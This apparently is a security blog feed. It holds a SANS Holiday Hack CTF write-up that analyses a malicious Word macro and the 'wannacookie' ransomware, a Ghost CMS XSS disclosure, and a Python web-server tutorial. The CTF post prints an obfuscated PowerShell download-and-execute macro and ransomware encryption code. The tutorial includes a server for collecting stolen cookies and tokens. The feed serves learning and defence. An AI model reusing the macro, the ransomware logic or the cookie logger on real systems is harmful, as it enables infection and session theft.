<p>The pdf itself covered how to convert musical notes between different keys. The song used as an example in the pdf was Mary Had a Little Lamb. The song was what I needed to complete the objective.</p><h3 id="python-escape-from-la">Python Escape from LA</h3><p>In this terminal's challenge SugarPlum Mary needed help getting out of a Python shell. A little testing revealed the shell prevented some commands from being executed but did allow <code>eval()</code>. Running the command <code>eval('o'+'s.sys'+'tem("./i_escaped")')</code> allowed me to escape the shell and complete the challenge.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-75.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><h2 id="ransomware-recovery">Ransomware Recovery</h2><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-76.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The second to last objective was in four parts which required helping Alabaster with a ransomware attack. Hints for the objective could be obtained by completing the <em>Sleigh Bell Lottery</em> terminal.</p><h3 id="catch-the-malware">Catch the Malware</h3><p>The first part of the objective was to help Alabaster create a Snort rule to detect the ransomware traffic. Pcaps were made available on a <a href="http://snortsensor1.kringlecastle.com/">site</a>. I downloaded one of the pcaps and observed the traffic it contained. </p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-77.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>From there I determined the malware sent hexadecimal strings in DNS queries. The strings were at least twenty characters in length. I built a regular expression and validated it in Wireshark. The reason I used Wireshark is because Snort and it share a limited understanding of regular expressions. The regular expression <code>[A-Z0-9]{20,}</code> matches any character A-Z and any number 0-9 that are twenty or more character long.</p><pre><code>alert udp any any &lt;&gt; any any (msg:&quot;Ransomeware alert&quot;; pcre:&quot;/[A-Z0-9]{20,}/&quot;; sid:1337; rev:1;)
alert tcp any any &lt;&gt; any any (msg:&quot;Ransomeware alert&quot;; pcre:&quot;/[A-Z0-9]{20,}/&quot;; sid:1338; rev:1;)
</code></pre>
<p>The Snort rules created are bidirectional rules for any UDP or TCP traffic to and from any ports that match the regular expression. Using the two rules was enough to complete this part of the objective.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-79.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><h3 id="identify-the-domain">Identify the Domain</h3><p>The next part of the objective was to identify the domain the malware communicated with. Alabaster gave me a word document that was suspected to have caused the initial infection.</p><p>Using a tool called olevba I was able to extract the VBA macros embedded in the word document.</p><pre><code class="language-shell">-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas 
in file: word/vbaProject.bin - OLE stream: 'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Sub AutoOpen()
Dim cmd As String
cmd = &quot;powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C &quot;&quot;sal a New-Object; iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()&quot;&quot; &quot;
Shell cmd
End Sub

+------------+-----------------+-----------------------------------------+
| Type       | Keyword         | Description                             |
+------------+-----------------+-----------------------------------------+
| AutoExec   | AutoOpen        | Runs when the Word document is opened   |
| AutoExec   | Document_Open   | Runs when the Word or Publisher         |
|            |                 | document is opened                      |
| Suspicious | Shell           | May run an executable file or a system  |
|            |                 | command                                 |
| Suspicious | powershell      | May run PowerShell commands             |
| Suspicious | ExecutionPolicy | May run PowerShell commands             |
| Suspicious | New-Object      | May create an OLE object using          |
|            |                 | PowerShell                              |
| IOC        | powershell.exe  | Executable file name                    |
+------------+-----------------+-----------------------------------------+
</code></pre>
<p>The VBA macro is calling PowerShell and then executing a script that was obfuscated. The fastest way to see what the script is actually doing was to remove the unsafe portions. The first step was to remove the <code>powershell.exe -NoE -Nop -NonI -ExecutionPolicy Bypass -C</code> portion. The next parts I had to remove was the <code>iex</code> portion and the sets of double quotes.</p><pre><code class="language-powershell">sal a New-Object; (a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String('lVHRSsMwFP2VSwksYUtoWkxxY4iyir4oaB+EMUYoqQ1syUjToXT7d2/1Zb4pF5JDzuGce2+a3tXRegcP2S0lmsFA/AKIBt4ddjbChArBJnCCGxiAbOEMiBsfSl23MKzrVocNXdfeHU2Im/k8euuiVJRsZ1Ixdr5UEw9LwGOKRucFBBP74PABMWmQSopCSVViSZWre6w7da2uslKt8C6zskiLPJcJyttRjgC9zehNiQXrIBXispnKP7qYZ5S+mM7vjoavXPek9wb4qwmoARN8a2KjXS9qvwf+TSakEb+JBHj1eTBQvVVMdDFY997NQKaMSzZurIXpEv4bYsWfcnA51nxQQvGDxrlP8NxH/kMy9gXREohG'),[IO.Compression.CompressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd()
</code></pre>
<p>After removing the unsafe parts the PowerShell command will simply echo the unobfuscated script.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-80.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The unobfuscated script revealed the domain the malware communicated with in its <code>Resolve-DnsName</code> command which completed this portion of the objective.</p><h3 id="stop-the-malware">Stop the Malware</h3><p>The next portion of the objective was to identify a way to stop the malware. Alabaster suggested that there might be a killswitch similar to another malware that was used in the recent past. By using the script from the VBA and removing the <code>iex</code> in it would render it safe to download the second script.</p><p>Initially, the first script downloaded another script which was a single line of a lot of PowerShell. Converting the hex string in the first script to ASCII revealed it was a file named <code>wannacookie.min.ps1</code> that was downloaded. Converting <code>wannacookie.ps1</code> to hex and replacing the original hex in the first script caused the malware to download a version that wasn't a single line.</p><pre><code class="language-powershell">if ($null -ne ((Resolve-DnsName -Name $(H2A $(B2H $(ti_rox $(B2H $(G2B $(H2B $S1))) $(Resolve-DnsName -Server erohetfanu.com -Name 6B696C6C737769746368.erohetfanu.com -Type TXT).Strings))).ToString() -ErrorAction 0 -Server 8.8.8.8))) {return} 
</code></pre>
<p>After reviewing the second script there was an if statement that was worth exploring. The if statement checked if the result of several commands encapsulated in <code>$()</code> were not null. The <code>$()</code> in PowerShell cause a command to be run and the results used as if they are a variable passed to the function. I commented out the main functions call and import the script as a module. This allowed me to call the functions from the script and manually step through refining the command.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-94.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>Anytime I saw results that were not a hex string I continued to add the layers of the command until the output was a hex string.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-82.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>Eventually, the command was refined to <code>((Resolve-DnsName -Name $(H2A "7969707065656b697961612e61616179").ToString() -ErrorAction 0 -Server 8.8.8.8))</code>. Taking the last part of the refined command and running it revealed the domain the malware checked for existing.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-83.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>Since the if statement would cause the script to stop if the domain was registered, I was able to use Ho Ho Ho Daddy to register the domain. Which stopped the malware from infecting anything new. </p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-84.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><h3 id="recover-alabaster-s-password">Recover Alabaster's Password</h3><p>The final part of the objective was to find a way to recover Alabaster's password database. Alabaster was kind enough to provide a <a href="https://www.holidayhackchallenge.com/2018/challenges/forensic_artifacts.zip">zip</a> file containing the encrypted database and a memory dump from the infection that encrypted the password database. </p><pre><code class="language-powershell">$pub_key = [System.Convert]::FromBase64String($(get_over_dns(&quot;7365727665722E637274&quot;) ) )
$Byte_key = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join ''))  | ? {$_ -ne 0x00})
$Hex_key = $(B2H $Byte_key)
$Key_Hash = $(Sha1 $Hex_key)
$Pub_key_encrypted_Key = (Pub_Key_Enc $Byte_key $pub_key).ToString()
$cookie_id = (send_key $Pub_key_encrypted_Key)
$date_time = (($(Get-Date).ToUniversalTime() | Out-String) -replace &quot;`r`n&quot;)
[array]$future_cookies = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname})
enc_dec $Byte_key $future_cookies $true
Clear-variable -Name &quot;Hex_key&quot;
Clear-variable -Name &quot;Byte_key&quot;
</code></pre>
<p>It was important to understand the the script further before looking at the memory dump. Above is the most important part of the script that needed to be understood in order to determine a path to decrypting the password database.</p><pre><code class="language-powershell">$pub_key = [System.Convert]::FromBase64String($(get_over_dns(&quot;7365727665722E637274&quot;) ) )
</code></pre>
<p>The first line is pulling the public RSA key over DNS.</p><pre><code class="language-powershell">$Byte_key = ([System.Text.Encoding]::Unicode.GetBytes($(([char[]]([char]01..[char]255) + ([char[]]([char]01..[char]255)) + 0..9 | sort {Get-Random})[0..15] -join ''))  | ? {$_ -ne 0x00})
</code></pre>
<p>The second line generates a key in the form of a byte array. </p><pre><code class="language-powershell">$Hex_key = $(B2H $Byte_key)
</code></pre>
<p>The third line converts the byte array into a hex string that is 32 bytes in length.</p><pre><code class="language-powershell">$Key_Hash = $(Sha1 $Hex_key)
</code></pre>
<p>The forth line creates a sha1 hash of the hex string.</p><pre><code class="language-powershell">$Pub_key_encrypted_Key = (Pub_Key_Enc $Byte_key $pub_key).ToString()
</code></pre>
<p>The fifth line encrypts the byte array with the public RSA key which is 512 bytes in length.</p><pre><code>$cookie_id = (send_key $Pub_key_encrypted_Key)</code></pre><p>The sixth line sends the encrypted key and then stores a unique identifier for the encrypted system.</p><pre><code class="language-powershell">$date_time = (($(Get-Date).ToUniversalTime() | Out-String) -replace &quot;`r`n&quot;)
</code></pre>
<p>The seventh line simply gets the date and time.</p><pre><code class="language-powershell">[array]$future_cookies = $(Get-ChildItem *.elfdb -Exclude *.wannacookie -Path $($($env:userprofile+'\Desktop'),$($env:userprofile+'\Documents'),$($env:userprofile+'\Videos'),$($env:userprofile+'\Pictures'),$($env:userprofile+'\Music')) -Recurse | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname})
</code></pre>
<p>The eighth line is getting the paths for all files ending in <code>.elfdb</code> that's not already encrypted from a users Desktop, Documents, Videos, Pictures and Music directories.</p><pre><code class="language-powershell">enc_dec $Byte_key $future_cookies $true
</code></pre>
<p>The ninth line encrypts the files with the byte array key that was generated.</p><pre><code class="language-powershell">Clear-variable -Name &quot;Hex_key&quot;
Clear-variable -Name &quot;Byte_key&quot;
</code></pre>
<p>The last two lines clear the values of the hex and byte array from memory.</p><pre><code class="language-powershell">elseif ($received -eq 'GET /decrypt') {
	$akey = $Req.QueryString.Item(&quot;key&quot;)
	if ($Key_Hash -eq $(Sha1 $akey)) {
		$akey = $(H2B $akey)
		[array]$allcookies = $(Get-ChildItem -Path $($env:userprofile) -Recurse  -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname})
		enc_dec $akey $allcookies $false
		$html = &quot;Files have been decrypted!&quot;
		$close = $true
	} else {
		$html = &quot;Invalid Key!&quot;
	}
}
</code></pre>
<p>The next relevant portion of the script reveals how the system is decrypted when a valid key is given to it. Through the further investigation of the script I devised what I needed in order to decrypt the password database. The encrypted version of the key would still be in the memory dump. I needed to obtain the private key and decrypt the key from memory. After that I would need to convert the key to hex and use it to decrypt the file.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-85.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>Similar to how I obtained the full version of the script I was able to switch the hex string and download the private RSA key instead of the public key.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-86.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>Using a tool called <a href="https://github.com/chrisjd20/power_dump">power dump</a> I was able to find the encrypted key from the dump's memory. The next thing I needed to do was decrypt the key from memory and convert it to hex.</p><pre><code class="language-python">from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

cipher_text = &quot;3cf903522e1a3966805b50e7f7dd51dc7969c73cfb1663a75a56ebf4aa4a1849d1949005437dc44b8464dca05680d531b7a971672d87b24b7a6d672d1d811e6c34f42b2f8d7f2b43aab698b537d2df2f401c2a09fbe24c5833d2c5861139c4b4d3147abb55e671d0cac709d1cfe86860b6417bf019789950d0bf8d83218a56e69309a2bb17dcede7abfffd065ee0491b379be44029ca4321e60407d44e6e381691dae5e551cb2354727ac257d977722188a946c75a295e714b668109d75c00100b94861678ea16f8b79b756e45776d29268af1720bc49995217d814ffd1e4b6edce9ee57976f9ab398f9a8479cf911d7d47681a77152563906a2c29c6d12f971&quot;
with open(&quot;server2.key&quot;, &quot;rb&quot;) as dec_key:
    key = RSA.importKey(dec_key.read())
    key = PKCS1_OAEP.new(key)
    data = bytes.fromhex(cipher_text)
    print(key.decrypt(data).hex())

</code></pre>
<p>Python made importing the private key and using it to decrypt the encrypted key easy. One thing to note is originally the private key downloaded would not load because of something was not as expected. Eventually, I was able to generate a working private key file by copying the private key string in Windows and pasting it into VI on Linux. </p><pre><code class="language-powershell">$akey = $(H2B &quot;fbcfc121915d99cc20a3d3d5d84f8308&quot;)
[array]$allcookies = $(Get-ChildItem -Path $($env:userprofile) -Recurse  -Filter *.wannacookie | where { ! $_.PSIsContainer } | Foreach-Object {$_.Fullname})
enc_dec $akey $allcookies $false
</code></pre>
<p>The final step to decrypt the file was to build my own decryption function. The function was basically the same as the one in the original script minus the if statement to check if the key's hash matched the key provided. The <a href="https://gist.githubusercontent.com/StackCrash/fd1f54ce4a4cbb582b369b61ad097c3f/raw/0e2c4efcbe8b6a862fee10914517141086ab9878/decrypt.ps1">full decrypt</a> script also contained the necessary functions from the malware needed to decrypt the file.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-87.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The decrypted elfdb file turned out to be an SQLite database with a table called passwords. The password for the entry <em>vault </em>was the one needed to finish all the the last part of the objective.</p><h3 id="sleigh-bell-lottery">Sleigh Bell Lottery</h3><p>In this terminal challenge Shinny Upatree ask for help winning the sleigh bell lottery. </p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-88.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The lotto itself is a program that appears to generate a random number for a winning ticket and then generates a ticket for the user. The first thing I did was use objdump to view the assembly of the program by running the command <code>objdump --source sleighbell-lotto</code></p><pre><code class="language-shell">0000000000000fd7 &lt;winnerwinner&gt;:
     fd7:       55                      push   %rbp
</code></pre>
<p>A function called winnerwinner stood out in the assembly of the program. The next step was to run the program in a debugger and force the call of the winnerwinner function.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-89.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>I loaded the program in gdb using the command <code>gdb ./sleighbell-lotto</code>. I then set a breakpoint using the command <code>break main</code>. After that I ran the program with <code>run</code> and after hitting the breakpoint told it to jump to the winnerwinner function with the command <code>jump winnerwinner</code>. This allowed me to win the lotto for Shinny.</p><h2 id="who-is-behind-it-all">Who Is Behind It All?</h2><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-90.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The final objective was to determine who was behind the attack on KringleCon. In order to complete this objective I had to get into Santa's vault.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-91.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>The first attempt was to simply use Alabaster's password for the vault. Unfortunately, this did not work but the lock did give me what I needed in order to get the right password. Using Alabaster's password and changing the key it was in using the method described in the PDF I recovered in eighth objective I tried <code>DC#DC#DDC#DEF#EF#GAG#AG#A</code> as the password.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-92.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>With the final door unlocked I was able to enter the vault.</p><figure class="kg-card kg-image-card"><img src="https://www.itsecguy.com/content/images/2018/12/image-93.png" class="kg-image" alt="The 2018 SANS Holiday Hack Challenge - Write-Up"></figure><p>Inside the vault Santa revealed the truth of the attack on KringleCon.</p><blockquote>You DID IT! You completed the hardest challenge. You see, Hans and the soldiers work for ME. I had to test you. And you passed the test!<br>You WON! Won what, you ask? Well, the jackpot, my dear! The grand and glorious jackpot!<br>You see, I finally found you!<br>I came up with the idea of KringleCon to find someone like you who could help me defend the North Pole against even the craftiest attackers.<br>That’s why we had so many different challenges this year.<br>We needed to find someone with skills all across the spectrum.<br>I asked my friend Hans to play the role of the bad guy to see if you could solve all those challenges and thwart the plot we devised.<br>And you did!<br>Oh, and those brutish toy soldiers? They are really just some of my elves in disguise.<br>See what happens when they take off those hats?<br>Based on your victory… next year, I’m going to ask for your help in defending my whole operation from evil bad guys.<br>And welcome to my vault room. Where's my treasure? Well, my treasure is Christmas joy and good will.<br>You did such a GREAT job! And remember what happened to the people who suddenly got everything they ever wanted?<br>They lived happily ever after.</blockquote><p>As it turns out the attack on KringleCon was a test. Santa wanted to find someone who could help him defend the North Pole and by making it to the vault I passed the test. It is no surprise given how many times the North Pole and Santa have been attacked in the past few years. Although it did give a potential alternate ending to a classic Christmas movie... Die Hard.</p>]]></content:encoded></item><item><title><![CDATA[XSS with PUT in Ghost Blog]]></title><description><![CDATA[<h1 id="intoduction">Intoduction</h1>
<p>For my blog I have tried several content management systems and a while ago I decided to use Ghost for its simplicity and ease of use. Recently, I found XSS in the Ghost platform from at least version 1.24.9 and still in the latest version on <a href="https://github.com/TryGhost/Ghost">GitHub</a></p>]]></description><link>https://www.itsecguy.com/xss-with-put-in-ghost-blog/</link><guid isPermaLink="false">5b5f640c1efa2d7aa45ceb80</guid><category><![CDATA[XSS]]></category><category><![CDATA[BugBounty]]></category><dc:creator><![CDATA[StackCrash]]></dc:creator><pubDate>Fri, 19 Oct 2018 07:01:00 GMT</pubDate><media:content url="https://www.itsecguy.com/content/images/2018/10/cover_image_xss_alert.png" medium="image"/><content:encoded><![CDATA[<h1 id="intoduction">Intoduction</h1>
<img src="https://www.itsecguy.com/content/images/2018/10/cover_image_xss_alert.png" alt="XSS with PUT in Ghost Blog"><p>For my blog I have tried several content management systems and a while ago I decided to use Ghost for its simplicity and ease of use. Recently, I found XSS in the Ghost platform from at least version 1.24.9 and still in the latest version on <a href="https://github.com/TryGhost/Ghost">GitHub</a>. Most likely the XSS exists in much earlier versions as well.</p>
<p><em>Note: this XSS does require administrator or owner roles and due to CORS/Same-Origin restrictions the likelyhood of exploitation outside of lab conditions is low.</em></p>
<h1 id="xssintheapi">XSS in the API</h1>
<p>While auditing Ghost I discovered that there is an API call that is vulnerable to XSS. The particular API call is <code>/ghost/api/v0.1/settings/</code>. The API call can be triggered from several of the settings tabs when an administrator or owner saves the settings. The API call sends a PUT request with JSON parameters. There are four parameters in the JSON that are vulnerable to XSS: logo, cover_image, ghost_head and ghost_foot. All four of the parameters will cause a XSS payload to be executed on every page of the website served by Ghost. The payload itself is very simple and only involves closing a script block before providing a new script block containing the XSS payload.<br>
<img src="https://www.itsecguy.com/content/images/2018/10/logo_xss_request.png" alt="XSS with PUT in Ghost Blog"><br>
The full settings JSON does not need to be sent with the request in order to exploit the XSS. Only sending the desired parameter and payload is sufficient.<br>
<img src="https://www.itsecguy.com/content/images/2018/10/xss_payload.png" alt="XSS with PUT in Ghost Blog"></p>
<p>Note: the ghost_head and ghost_foot parameters are the same ones where in the administrator interface a user can place custom scripts. So they are meant to contain scripts so the XSS ends up being intended functionality for those two parameters.</p>
<h2 id="rediscovery">Rediscovery</h2>
<p>After finding the XSS I decided to do some more digging in Ghost past and found out I rediscovered an old XSS. VoidSec had previously discovered <a href="https://voidsec.com/ghost-blogging-platform/">XSS</a> in the same API call. It should be noted Ghost claimed in version <a href="https://github.com/TryGhost/Ghost/releases/tag/0.5.9">0.5.9</a> to have remediated this vulnerability and the original payload from VoidSec's report didn't work in the version I tested.</p>
<h1 id="limitations">Limitations</h1>
<p>Due to the API call being an authenticated PUT request and limitations of CORS exploiting the vulnerability an attacker would have to have to be able to access the session token for an administrator or owner. It is possible to bypass the CORS restrictions by sending the request through a proxy such as <a href="https://github.com/Rob--W/cors-anywhere">CORS Anywhere</a> But modern browsers won't send the session token with the request since it doesn't comply with the same origin policy. Bypassing the same origin policy is the harder part. There are ways to by pass the same origin policy but thats for another blog post.</p>
<h1 id="disclosure">Disclosure</h1>
<p>I initially disclosed to <a href="mailto:security@ghost.org">security@ghost.org</a> and until I sent a third email about the impending public disclosure I never received a response. After the thrid email they responded referencing their now updated <a href="https://github.com/TryGhost/Ghost/commit/ebe0177b4f6fcc6c7debb741c95c985a69d0449b">SECURITY.md</a>.</p>
<p>I did verify the XSS still exist as of version 2.2.0.</p>
<h2 id="timeline">Timeline</h2>
<p>21 July 2018 - Initial reported to Ghost via email<br>
30 July 2018 - Follow-up email sent to Ghost<br>
4 October 2018 - Notified Ghost of upcoming public disclosure<br>
5 October 2018 - Response from Ghost referencing updated SECURITY.md<br>
19 October 2018 - Public disclosure after 90 days since initial report</p>
]]></content:encoded></item><item><title><![CDATA[Custom Web Server Responses with Python]]></title><description><![CDATA[<h1 id="introduction">Introduction</h1>
<p>In my job sometimes I have to setup quick web servers to respond to request in certain ways. Python does a great job at making this easy without having to have any thing other than Python installed. I figured I would make a quick post to share some of</p>]]></description><link>https://www.itsecguy.com/custom-web-server-responses-with-python/</link><guid isPermaLink="false">5b53f7b20fbdf0046ebdd42f</guid><category><![CDATA[Python]]></category><dc:creator><![CDATA[StackCrash]]></dc:creator><pubDate>Sun, 22 Jul 2018 03:39:00 GMT</pubDate><media:content url="https://www.itsecguy.com/content/images/2018/07/respond.py.png" medium="image"/><content:encoded><![CDATA[<h1 id="introduction">Introduction</h1>
<img src="https://www.itsecguy.com/content/images/2018/07/respond.py.png" alt="Custom Web Server Responses with Python"><p>In my job sometimes I have to setup quick web servers to respond to request in certain ways. Python does a great job at making this easy without having to have any thing other than Python installed. I figured I would make a quick post to share some of the scripts I have created and why I created them. All the scripts are written in Python3.</p>
<h1 id="basic">Basic</h1>
<p>If all I need is a web server that will serve files Python gives me a way to do it very easily and very quickly. Navigating to the directory that contains the files I want to server I can run <code>python3 -m http.server</code> to start a web server that will serve the files in the directory its started from. If I need to specify the port it runs on its as simple as adding the port number to the end of the command.</p>
<h1 id="steppingitup">Stepping it up</h1>
<p>Sometimes I don't want to serve any files and want a web server that responds in specific ways to requests.</p>
<h2 id="helloworld">Hello, World!</h2>
<p>When I just need a web server that responds with static content regardless of the request I have to write a script to do it. Below is the full script but I will break it down after.</p>
<pre><code class="language-python">#!/usr/bin/python3

from http.server import BaseHTTPRequestHandler, HTTPServer

class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        message = &quot;Hello!&quot;

        self.protocol_version = &quot;HTTP/1.1&quot;
        self.send_response(200)
        self.send_header(&quot;Content-Length&quot;, len(message))
        self.end_headers()

        self.wfile.write(bytes(message, &quot;utf8&quot;))
        return

def run():
    server = ('', 80)
    httpd = HTTPServer(server, RequestHandler)
    httpd.serve_forever()
run()
</code></pre>
<p>First, I need to import the a couple classes from the <code>http.server</code> library.</p>
<pre><code class="language-python">from http.server import BaseHTTPRequestHandler, HTTPServer
</code></pre>
<p>After that I need to create my own class to handle requests that the server sees.</p>
<pre><code class="language-python">class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        message = &quot;Hello!&quot;

        self.protocol_version = &quot;HTTP/1.1&quot;
        self.send_response(200)
        self.send_header(&quot;Content-Length&quot;, len(message))
        self.end_headers()

        self.wfile.write(bytes(message, &quot;utf8&quot;))
        return
</code></pre>
<p>The class above will handle GET requests and send a 200 response. If you notice I am specifying the protocol version and adding a message to the response.</p>
<p>After making the class I need to add a function to initialize the class and run the web server.</p>
<pre><code class="language-python">def run():
    server = ('', 80)
    httpd = HTTPServer(server, RequestHandler)
    httpd.serve_forever()
run()
</code></pre>
<p>The function <code>run</code> simply tells the interface and port to bind to. Using <code>''</code> instead of an IP simply binds to all interfaces. After that it initializes the <code>HTTPServer</code> class and sends it my custom request handler class. Finally, it sets the server to function persistently.</p>
<h2 id="securehello">Secure Hello</h2>
<p>In some situations I need to have the server handle SSL traffic. Modifying the script with only a few lines makes this a breeze. Again, the full script is below followed by a breakdown of the new parts.</p>
<pre><code class="language-python">#!/usr/bin/python3

from http.server import BaseHTTPRequestHandler, HTTPServer
import ssl

class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        message = &quot;Hello!&quot;

        self.protocol_version = &quot;HTTP/1.1&quot;
        self.send_response(200)
        self.send_header(&quot;Content-Length&quot;, len(message))
        self.end_headers()

        self.wfile.write(bytes(message, &quot;utf8&quot;))
        return

def run():
    server = ('', 443)
    httpd = HTTPServer(server, RequestHandler)
    httpd.socket = ssl.wrap_socket(httpd.socket,
    keyfile=&quot;/path/to/private_key.pem&quot;,
    certfile=&quot;/path/to/full_cert_chain.pem&quot;,
    server_side=True)
    httpd.serve_forever()
run()
</code></pre>
<p>The first thing is to import the <code>ssl</code> python library by adding <code>import ssl</code> to the script. The last thing is to modify the <code>run</code> function to allow the server to handle SSL request.</p>
<pre><code class="language-python">def run():
    server = ('', 443)
    httpd = HTTPServer(server, RequestHandler)
    httpd.socket = ssl.wrap_socket(httpd.socket,
    keyfile=&quot;/path/to/private_key.pem&quot;,
    certfile=&quot;/path/to/full_cert_chain.pem&quot;,
    server_side=True)
    httpd.serve_forever()
run()
</code></pre>
<p>First, I update the port to 443 but if you are using a custom port this doesn't matter. Second, I modify the socket thats created to use the <code>ssl.warp_socket()</code> function. I pass that function the private key and certificate chain for a valid SSL certificate.</p>
<h2 id="collectinginformation">Collecting Information</h2>
<p>A pretty common use in pentesting for having a simple web server up is to collect session cookies or tokens. The <code>python3 -m http.server</code> display the request as they come in, but wouldn't it be better if it logged only the relevant information we wanted? This is where some of the power of making an actual Python script come in.</p>
<pre><code class="language-python">#!/usr/bin/python3

from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import parse_qs

class RequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        self.protocol_version = &quot;HTTP/1.1&quot;
        self.send_response(200)
        self.end_headers()

        if '?q=' in self.path:
            q = parse_qs(self.path[2:])[&quot;q&quot;]
            with open('log.txt','a') as f:
                for cookie in q:
                    f.write(str(cookie)+'\n')

        return

def run():
    server = ('', 8000)
    httpd = HTTPServer(server, RequestHandler)
    httpd.serve_forever()
run()
</code></pre>
<p>There are some new things in the above script. First I am importing a function called <code>parse_qs</code> from <code>urllib.parse</code>. What this function does is it allows me to parse GET parameters in the request fairly easily.</p>
<p>Next, there is a big chunk of logic added to the script.</p>
<pre><code class="language-python">if '?q=' in self.path:
    q = parse_qs(self.path[2:])[&quot;q&quot;]
    with open('log.txt','a') as f:
        for cookie in q:
            f.write(str(cookie)+'\n')
</code></pre>
<p>What the above is doing is checking if there is a parameter called <code>q</code> at the beginning of the request. Then it actually parses the parameter. Finally, appends the value of <code>q</code> in a text file.</p>
<h1 id="summary">Summary</h1>
<p>I hadn't posted anything in a while so I decided to share these scripts in a quick post. Hopefully, down the road they save some people time like they have me.</p>
]]></content:encoded></item><item><title><![CDATA[My First Burp Suite Extension]]></title><description><![CDATA[<h1 id="introduction">Introduction</h1>
<p>I recently had a career change from the defensive side of security to the offensive which means a whole knew set of skills to develop.</p>
<p>For those who are not familiar <a href="https://portswigger.net/burp">Burp Suite</a> is a security tool for testing web applications. A great thing about Burp is that you</p>]]></description><link>https://www.itsecguy.com/my-first-burp-suite-extension/</link><guid isPermaLink="false">5b4ea0ad43bdde04b66f1201</guid><dc:creator><![CDATA[StackCrash]]></dc:creator><pubDate>Sat, 14 Oct 2017 05:19:27 GMT</pubDate><media:content url="https://www.itsecguy.com/content/images/2017/10/Extension.png" medium="image"/><content:encoded><![CDATA[<h1 id="introduction">Introduction</h1>
<img src="https://www.itsecguy.com/content/images/2017/10/Extension.png" alt="My First Burp Suite Extension"><p>I recently had a career change from the defensive side of security to the offensive which means a whole knew set of skills to develop.</p>
